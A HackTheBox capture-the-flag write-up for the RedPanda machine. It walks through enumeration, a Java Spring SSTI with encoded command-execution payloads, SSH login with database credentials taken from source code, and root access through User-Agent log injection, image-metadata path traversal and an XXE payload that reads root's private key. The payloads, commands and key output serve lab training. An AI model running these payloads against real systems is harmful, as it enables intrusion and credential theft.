RedPanda - [HTB]
Table of Contents
Introduction
RedPanda is an easy Linux machine from HackTheBox where the attacker will have to find a Java SSTI on a search engine. Then, it will have to analyse a Java program, which is being executed every two minutes by root. Finally, it has to exploit an XXE vulnerability to obtain the root's SSH private key.
Enumeration
As always, let's start finding all opened ports in the machine with Nmap.
kali@kali:~/Documents/HTB/RedPanda$ sudo nmap -v -sS -p- -n -T4 -oN AllPorts.txt 10.10.11.170
Nmap scan report for 10.10.11.170
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Jul 31 11:58:30 2022 -- 1 IP address (1 host up) scanned in 112.88 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/RedPanda$ portsDepth 22,8080 10.10.11.170
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-31 12:00 EDT
Nmap scan report for 10.10.11.170
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open http-proxy
|_http-title: Red Panda Search | Made with Spring Boot
At port 8080, there is a little search engine for different types of pandas made with Spring Boot.
Furthermore, through some file enumeration, appears a statistics page.
kali@kali:~/Documents/HTB/RedPanda$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -of md -o ffuz.txt -t 60 -u http://10.10.11.170:8080/FUZZ
[...]
stats [Status: 200, Size: 987, Words: 200, Lines: 33]
On this page, the statistics of the authors woodenk
and damian
can be obtained and exported in XML format.
Finally, the Greg panda appears if no input is inserted, telling that the search engine might be vulnerable to injection attacks.
After fuzzing the search engine using the wordlist special-chars.txt
from SecLists and URL encoding its characters, the following output is obtained.
Because the characters ){}\%
produced errors when sent to the server, and the characters ~$_
are banned for the engine, it might be vulnerable to SSTI.
To verify that, the following payload was used §character§{7*7}
(encode characters before executing intruder). As a result, it seems that the code inside *{<CODE>}
is being executed.
Exploitation
Then, because Spring boost is made with Java, STTI Java payloads are needed. These payloads can be found on PayloadAllTheThings.
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Because this payload requires encoding every single character to be executed, to facilitate the work, the tool SSTI-PAYLOAD is used.
Note: I changed the script to always return *{
instead of ${
.
kali@kali:~/Documents/HTB/RedPanda/ssti-payload$ python ssti-payload.py
Command ==> whoami
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(105))).getInputStream())}
Because no reverse shell can be obtained, manual enumeration of the machine must be performed using the web form.
# cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(95)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(97))).getInputStream())}
Looking inside the Panda search source code, there are some database credentials.
public ArrayList searchPanda(String query) {
Connection conn = null;
PreparedStatement stmt = null;
ArrayList<ArrayList> pandas = new ArrayList();
try {
Class.forName("com.mysql.cj.jdbc.Driver");
conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");
stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?");
stmt.setString(1, "%" + query + "%");
ResultSet rs = stmt.executeQuery();
while(rs.next()){
ArrayList<String> panda = new ArrayList<String>();
panda.add(rs.getString("name"));
panda.add(rs.getString("bio"));
panda.add(rs.getString("imgloc"));
panda.add(rs.getString("author"));
pandas.add(panda);
}
}catch(Exception e){ System.out.println(e);}
return pandas;
}
}
These credentials can be used for getting access to the machine through SSH, obtaining the user flag.
kali@kali:~/Documents/HTB/RedPanda/$ ssh woodenk@10.10.11.170
woodenk@10.10.11.170's password: RedPandazRule
woodenk@redpanda:~$ cat user.txt
[CENSORED]
Privilege Escalation
Using pspy we can see that every two minutes the Java file final-1.0-jar-with-dependencies.jar
is being executed as root.
2022/07/31 17:22:01 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2022/07/31 17:22:01 CMD: UID=0 PID=3337 | /usr/sbin/CRON -f
2022/07/31 17:22:01 CMD: UID=0 PID=3338 | /bin/sh -c /root/run_credits.sh
2022/07/31 17:22:01 CMD: UID=0 PID=3339 | /bin/sh /root/run_credits.sh
2022/07/31 17:22:01 CMD: UID=0 PID=3340 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar
This Java application file has the source code located at /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
.
Starting from the main function, we can see that it reads the log file /opt/panda_search/redpanda.log
, parses some data and then reads an XML file.
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while (log_reader.hasNextLine()) {
String line = log_reader.nextLine();
if (!isImage(line))
continue;
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
A look at the log parser; the program splits a log line into a string using ||
as a separator. So, because the attacker has control over the User-Agent
HTTP parameter, the uri
value can be overwritten.
# cat redpanda.log
# 200||10.10.14.40||Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0||/search
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
The uri
value is used in the function getArtist
, appending the value to an image path for reading the Artist
metadata attribute.
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
Finally, the artist
value is appended to another path, which is being used at the function addViewTo
.
This function reads the file, updates the counter of each image view and then overwrites the file with the new values.
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
Because there is no measure to avoid XXE and we have control over the parameters user_agent
, uri
,artist
and xmlPath
; maybe we can create an XML file with XXE to read the root's private key.
First, obtain an image and update its metadata.
wget http://10.10.11.170:8080/img/greg.jpg
exiftool -Artist="../tmp/marmeus" greg.jpg
Then, we need to edit a statistics XML file to add the XXE payload.
wget 'http://10.10.11.170:8080/export.xml?author=woodenk' -O marmeus_creds.xml
# EDIT THE FILE TO LOOK SOMETHING LIKE THIS
cat marmeus_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa"> ]>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<marmeu>&ent;</marmeus>
<views>2</views>
[...]
Finally, update all the files and send a request with the malicious user agent.
scp marmeus_creds.xml greg.jpg woodenk@10.10.11.170:/tmp/
curl http://10.10.11.170:8080/ -A 'Firefox||/../../../../../../../tmp/greg.jpg'
After two minutes, the script will be executed, and the XML will be modified, adding the root's private key.
woodenk@redpanda:/tmp$ cat marmeus_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<hello>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</hello>
[...]
Finally, it is possible to access the machine as root, obtaining the root flag.
kali@kali:~/Documents/HTB/RedPanda$ ssh -i id_rsa root@10.10.11.170
root@redpanda:~# cat root.txt
[CENSORED]